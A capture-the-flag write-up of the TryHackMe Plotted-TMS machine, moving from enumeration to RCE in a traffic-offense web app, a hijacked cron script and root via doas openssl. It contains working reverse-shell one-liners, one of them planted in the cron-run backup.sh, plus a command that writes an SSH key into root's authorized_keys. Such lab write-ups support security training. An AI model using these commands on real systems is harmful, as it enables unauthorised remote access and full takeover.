TryHackMe - Plotted-TMS
Description
Hello hackers, I hope you are doing well. We are doing Plotted-TMS from TryHackMe. The target is running a web application vulnerable to remote code execution giving us the initial foothold. Looking through the system files, we find a cronjob running, so we exploit it to upgrade to use plot_admin. After that we find that we can run openssl as root so we use that to get root access.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 10.10.76.208
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a36a9cb11260b272130984cc3873444f (RSA)
| 256 b93f8400f4d1fdc8e78d98033874a14d (ECDSA)
|_ 256 d08651606946b2e139439097a6af9693 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
445/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found three open ports, ssh is running on port 22 as usual, an apache web server on port 80 and the same on port 445 which is weird because this port is usually for SMB.
Web
Let’s go to the web page on port 80.
Got the default page of Apache2.
Gobuster
Let’s run a directory scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.76.208/ | tee scans/gobuster
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.76.208/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/10/26 03:19:42 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312] [--> http://10.10.76.208/admin/]
/index.html (Status: 200) [Size: 10918]
/passwd (Status: 200) [Size: 25]
/server-status (Status: 403) [Size: 277]
/shadow (Status: 200) [Size: 25]
===============================================================
We some interesting directories, let’s check them.
The admin page contains a file named id_rsa, but that’s has a base64 encoded string that says “Trust me it is not this easy..now get back to enumeration :D”
The same applies to the other directories.
Let’s run another directory scan for port 445.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.76.208:445/ | tee scans/gobuster2
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.76.208:445/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/10/26 03:27:55 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10918]
/management (Status: 301) [Size: 322] [--> http://10.10.76.208:445/management/]
/server-status (Status: 403) [Size: 278]
===============================================================
Found a page called /management, let’s check it.
It’s the default page of Traffic Offense Management System
Foothold
Searching on google for this management system, i found it’s vulnerable to Remote Code Execution, here is the exploit.
We run the exploit which uploads a shell and give us the ability to run commands.
Couldn’t execute command because of an error, so i copied the URL and used it in the browser.
Now let’s get a reverse shell. We can do that in two different ways, either we upload a Pentest Monkey’s reverse shell or we execute the following command after setting up the listener:
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Privilege Escalation
After some manual enumeration, we find a cronjob running as plot_admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@plotted:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * plot_admin /var/www/scripts/backup.sh
We can’t modify the file, but the script is located in /var/www/scripts directory which we have full control of. So we can create another backup.sh file that would send us a reverse shell as plot_admin.
1
2
3
4
www-data@plotted:/var/www/scripts$ mv backup.sh backup.sh.bak
www-data@plotted:/var/www/scripts$ echo '#!/bin/bash' > backup.sh
www-data@plotted:/var/www/scripts$ echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"
After this, i uploaded a copy of linpeas, run it and found the following:
doas
enables us to run commands as other users, and here we see we can run openssl
as root.
If we check GTFOBins, we see that we can read any file using this command openssl enc -in {file}
. Let’s specify the file we want to read which is /root/root.txt, and add doas
at the beginning of the command.
We can also write files, and to get a root shell, we can copy our public key to /root/.ssh/authorized_keys. To do that we can use the following command:
1
cat sirius.pub | doas openssl enc -out /root/.ssh/authorized_keys
Then we can ssh to the target as root without any password.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).